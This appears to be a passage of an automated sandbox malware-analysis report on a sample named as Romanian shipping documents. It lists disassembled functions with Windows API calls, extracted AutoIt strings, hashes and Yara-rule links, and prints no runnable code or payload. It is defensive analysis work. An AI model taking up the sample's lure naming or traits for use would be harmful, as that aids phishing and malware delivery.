                                                • Opcode Fuzzy Hash: 43e1ca309deaccf77d2e429831ba180c6ee70408c4dabec093103015d07b16f6
                                                • Instruction Fuzzy Hash: 9D02B070A00205EBCF14DF68D991ABEBBB5EF44300F14C469E80ADB295EB35DA51CBB1
                                                Function 00D202A4 Relevance: .3, Instructions: 345COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                • Instruction ID: 0495f9b25f00a5cb1d2465a08e8c61b99aed8cb4ee2b8492296c921e8f7dd651
                                                • Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                • Instruction Fuzzy Hash: 3AC1A3322051A30ADF2D8739A47447EBEA15AA27B571E076DE8B3CB4D6FF20C564D630
                                                Function 00D206D9 Relevance: .3, Instructions: 341COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                • Instruction ID: e664e3c2b033407eede529e5497962aeeb9867a301dcd52299c9920b621758c8
                                                • Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                • Instruction Fuzzy Hash: 9FC1C1322051A30ADF2D4639A43447EFEA15AA2BB571E076DE4B3CB4D6FF20C564DA30
                                                Function 00D1FE6F Relevance: .3, Instructions: 331COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                • Instruction ID: c4b9e3494d01094a8939c8831d92219a1ef90ab9e9af78b6709b4a8a1a043114
                                                • Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                • Instruction Fuzzy Hash: 1AC1B3322051A30ADF2D4739A43457EBEA15EA27B571E076DE4B2CB4E6FF20C5A4D630
                                                Function 00D1FA57 Relevance: .3, Instructions: 323COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction ID: 6c29f37e6da2691dc723e8f7735b8fb17d97a35062c6523c97752aeac6ce6b02
                                                • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction Fuzzy Hash: FFC1903220909319DF2D4739E4744BEBAA15AA2BB171E077DE4B2CB5D6FF20C5A4D630
                                                Function 00D5A2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00D5A2FE
                                                • DeleteObject.GDI32(00000000), ref: 00D5A310
                                                • DestroyWindow.USER32 ref: 00D5A31E
                                                • GetDesktopWindow.USER32 ref: 00D5A338
                                                • GetWindowRect.USER32(00000000), ref: 00D5A33F
                                                • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00D5A480
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00D5A490
                                                • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A4D8
                                                • GetClientRect.USER32(00000000,?), ref: 00D5A4E4
                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D5A51E
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A540
                                                • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A553
                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A55E
                                                • GlobalLock.KERNEL32(00000000), ref: 00D5A567
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A576
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00D5A57F
                                                • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A586
                                                • GlobalFree.KERNEL32(00000000), ref: 00D5A591
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A5A3
                                                • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00D8D9BC,00000000), ref: 00D5A5B9
                                                • GlobalFree.KERNEL32(00000000), ref: 00D5A5C9
                                                • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00D5A5EF
                                                • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00D5A60E
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A630
                                                • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D5A81D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                • String ID: $AutoIt v3$DISPLAY$static
                                                • API String ID: 2211948467-2373415609
                                                • Opcode ID: a1104a0958ce1347224e39454d96bf6a92b3f47680825c8d936cca4ccb80257b
                                                • Instruction ID: 664ce431f03b33dd393dc63469c4169701f1299243c50501eb501eca3302078b
                                                • Opcode Fuzzy Hash: a1104a0958ce1347224e39454d96bf6a92b3f47680825c8d936cca4ccb80257b
                                                • Instruction Fuzzy Hash: 01026975910219AFDB149FA8CC89EAE7BBAFB49311F148218F905EB2E1D7309D41CB70
                                                Function 00D6D285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetTextColor.GDI32(?,00000000), ref: 00D6D2DB
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D6D30C
                                                • GetSysColor.USER32(0000000F), ref: 00D6D318
                                                • SetBkColor.GDI32(?,000000FF), ref: 00D6D332
                                                • SelectObject.GDI32(?,00000000), ref: 00D6D341
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00D6D36C
                                                • GetSysColor.USER32(00000010), ref: 00D6D374
                                                • CreateSolidBrush.GDI32(00000000), ref: 00D6D37B
                                                • FrameRect.USER32(?,?,00000000), ref: 00D6D38A
                                                • DeleteObject.GDI32(00000000), ref: 00D6D391
                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00D6D3DC
                                                • FillRect.USER32(?,?,00000000), ref: 00D6D40E
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D6D439
                                                  • Part of subcall function 00D6D575: GetSysColor.USER32(00000012), ref: 00D6D5AE
                                                  • Part of subcall function 00D6D575: SetTextColor.GDI32(?,?), ref: 00D6D5B2
                                                  • Part of subcall function 00D6D575: GetSysColorBrush.USER32(0000000F), ref: 00D6D5C8
                                                  • Part of subcall function 00D6D575: GetSysColor.USER32(0000000F), ref: 00D6D5D3
                                                  • Part of subcall function 00D6D575: GetSysColor.USER32(00000011), ref: 00D6D5F0
                                                  • Part of subcall function 00D6D575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D6D5FE
                                                  • Part of subcall function 00D6D575: SelectObject.GDI32(?,00000000), ref: 00D6D60F
                                                  • Part of subcall function 00D6D575: SetBkColor.GDI32(?,00000000), ref: 00D6D618
                                                  • Part of subcall function 00D6D575: SelectObject.GDI32(?,?), ref: 00D6D625
                                                  • Part of subcall function 00D6D575: InflateRect.USER32(?,000000FF,000000FF), ref: 00D6D644
                                                  • Part of subcall function 00D6D575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D6D65B
                                                  • Part of subcall function 00D6D575: GetWindowLongW.USER32(00000000,000000F0), ref: 00D6D670
                                                  • Part of subcall function 00D6D575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D6D698
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                • String ID:
                                                • API String ID: 3521893082-0
                                                • Opcode ID: b6e11df432a45629eb7a3894d5349f63e28af9c8a8b17308f83e655411616b7b
                                                • Instruction ID: d6da0cbdcc9b3f13848a042b592130ece27e64dfc6509c19e4b60e03c2e3f4ec
                                                • Opcode Fuzzy Hash: b6e11df432a45629eb7a3894d5349f63e28af9c8a8b17308f83e655411616b7b
                                                • Instruction Fuzzy Hash: 63919071508301BFDB109F64DC48E6B7BAAFF89325F100A19F962D62E0D731D944CB62
                                                Function 00D1B8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32 ref: 00D1B98B
                                                • DeleteObject.GDI32(00000000), ref: 00D1B9CD
                                                • DeleteObject.GDI32(00000000), ref: 00D1B9D8
                                                • DestroyIcon.USER32(00000000), ref: 00D1B9E3
                                                • DestroyWindow.USER32(00000000), ref: 00D1B9EE
                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 00D7D2AA
                                                • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00D7D2E3
                                                • MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00D7D711
                                                  • Part of subcall function 00D1B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D1B759,?,00000000,?,?,?,?,00D1B72B,00000000,?), ref: 00D1BA58
                                                • SendMessageW.USER32 ref: 00D7D758
                                                • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00D7D76F
                                                • ImageList_Destroy.COMCTL32(00000000), ref: 00D7D785
                                                • ImageList_Destroy.COMCTL32(00000000), ref: 00D7D790
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                • String ID: 0
                                                • API String ID: 464785882-4108050209
                                                • Opcode ID: 135b98be749721544b4f4fee812cf0f21f13b0f7bc450ec471210770bc03d340
                                                • Instruction ID: 775ced6a4b4eba862662d25de4bca5a9d653d68fbaa2c3c6ff853921640f7a6e
                                                • Opcode Fuzzy Hash: 135b98be749721544b4f4fee812cf0f21f13b0f7bc450ec471210770bc03d340
                                                • Instruction Fuzzy Hash: E3127E70204205EFDB15CF24D884BA9BBF6FF45314F18856AE589CB692DB31E886CB71
                                                Function 00D4DBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00D4DBD6
                                                • GetDriveTypeW.KERNEL32(?,00D9DC54,?,\\.\,00D9DC00), ref: 00D4DCC3
                                                • SetErrorMode.KERNEL32(00000000,00D9DC54,?,\\.\,00D9DC00), ref: 00D4DE29
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DriveType
                                                • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                • API String ID: 2907320926-4222207086
                                                • Opcode ID: 7cc459a596219e2c7964ef1aa8bb3acf3aea33dc99b2233578e93e0fdde4e7b8
                                                • Instruction ID: c893b1c6576a8c01209c6961301c0fea2307e4e83305ca15e76503a8377e62ec
                                                • Opcode Fuzzy Hash: 7cc459a596219e2c7964ef1aa8bb3acf3aea33dc99b2233578e93e0fdde4e7b8
                                                • Instruction Fuzzy Hash: C251B130648302EFC710DF14C892969B7A3FB98704B24592EF4879B2D5EB70D949EB76
                                                Function 00D0CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                • API String ID: 1038674560-86951937
                                                • Opcode ID: e185a9ce5f57ff294f464e8141b41d6fc0654e04e0271aeb33f881cddd1aa732
                                                • Instruction ID: b730e694a12bab6435781c164764f3f41615ed853ececfa87775f4eb733bc9a7
                                                • Opcode Fuzzy Hash: e185a9ce5f57ff294f464e8141b41d6fc0654e04e0271aeb33f881cddd1aa732
                                                • Instruction Fuzzy Hash: 3381E270640215BBDB24AF64DC82FBF7769EF24304F089129F94DAA1C2EB60DA45C6B5
                                                Function 00D6638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,00D9DC00), ref: 00D66449
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                • API String ID: 3964851224-45149045
                                                • Opcode ID: d69f051c454ce442b32149bef972751591cf4591cbc1f077461b0b01dd2db035
                                                • Instruction ID: b77a9a97981fe33e062e69b9dc24eeab5aea67e6d55af8c2357596d6d3e3e68f
                                                • Opcode Fuzzy Hash: d69f051c454ce442b32149bef972751591cf4591cbc1f077461b0b01dd2db035
                                                • Instruction Fuzzy Hash: 86C170342042469BCB04EF10D551AAE77A6EF94354F184859F8865B3E3DF30ED8ACBB2
                                                Function 00D6D575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000012), ref: 00D6D5AE
                                                • SetTextColor.GDI32(?,?), ref: 00D6D5B2
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D6D5C8
                                                • GetSysColor.USER32(0000000F), ref: 00D6D5D3
                                                • CreateSolidBrush.GDI32(?), ref: 00D6D5D8
                                                • GetSysColor.USER32(00000011), ref: 00D6D5F0
                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D6D5FE
                                                • SelectObject.GDI32(?,00000000), ref: 00D6D60F
                                                • SetBkColor.GDI32(?,00000000), ref: 00D6D618
                                                • SelectObject.GDI32(?,?), ref: 00D6D625
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00D6D644
                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D6D65B
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00D6D670
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D6D698
                                                • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00D6D6BF
                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00D6D6DD
                                                • DrawFocusRect.USER32(?,?), ref: 00D6D6E8
                                                • GetSysColor.USER32(00000011), ref: 00D6D6F6
                                                • SetTextColor.GDI32(?,00000000), ref: 00D6D6FE
                                                • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00D6D712
                                                • SelectObject.GDI32(?,00D6D2A5), ref: 00D6D729
                                                • DeleteObject.GDI32(?), ref: 00D6D734
                                                • SelectObject.GDI32(?,?), ref: 00D6D73A
                                                • DeleteObject.GDI32(?), ref: 00D6D73F
                                                • SetTextColor.GDI32(?,?), ref: 00D6D745
                                                • SetBkColor.GDI32(?,?), ref: 00D6D74F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                • String ID:
                                                • API String ID: 1996641542-0
                                                • Opcode ID: f5756ad0085e6baac4f9b8b8ec47fc649d864361d1836ffcbb81ac09c3649c9c
                                                • Instruction ID: 8415abb8f6dff321431bfae535e21132ba9fda8970cfed07f6d12d06a14ca1ff
                                                • Opcode Fuzzy Hash: f5756ad0085e6baac4f9b8b8ec47fc649d864361d1836ffcbb81ac09c3649c9c
                                                • Instruction Fuzzy Hash: 30513B71910208BFDF10AFA4DC48EAE7B7AEF09720F144515F915EB2E1D7759A409F60
                                                Function 00D6B6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00D6B7B0
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D6B7C1
                                                • CharNextW.USER32(0000014E), ref: 00D6B7F0
                                                • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00D6B831
                                                • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00D6B847
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D6B858
                                                • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00D6B875
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00D6B8C7
                                                • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00D6B8DD
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00D6B90E
                                                • _memset.LIBCMT ref: 00D6B933
                                                • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00D6B97C
                                                • _memset.LIBCMT ref: 00D6B9DB
                                                • SendMessageW.USER32 ref: 00D6BA05
                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 00D6BA5D
                                                • SendMessageW.USER32(?,0000133D,?,?), ref: 00D6BB0A
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00D6BB2C
                                                • GetMenuItemInfoW.USER32(?), ref: 00D6BB76
                                                • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D6BBA3
                                                • DrawMenuBar.USER32(?), ref: 00D6BBB2
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00D6BBDA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                • String ID: 0
                                                • API String ID: 1073566785-4108050209
                                                • Opcode ID: 3bfc9669e539ee81aec1e1bdb4b35bd6fe42e6621d880948ac3363a71cefd434
                                                • Instruction ID: ccb14591ca7bff891c5f73339a6303331ea3e20fcdf6ff1bc48613ec10f6dc09
                                                • Opcode Fuzzy Hash: 3bfc9669e539ee81aec1e1bdb4b35bd6fe42e6621d880948ac3363a71cefd434
                                                • Instruction Fuzzy Hash: 39E19DB4900218ABDB209FA5CC85EEE7B79EF05724F14815BF959EB291D7708A81CF70
                                                Function 00D6764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 00D6778A
                                                • GetDesktopWindow.USER32 ref: 00D6779F
                                                • GetWindowRect.USER32(00000000), ref: 00D677A6
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D67808
                                                • DestroyWindow.USER32(?), ref: 00D67834
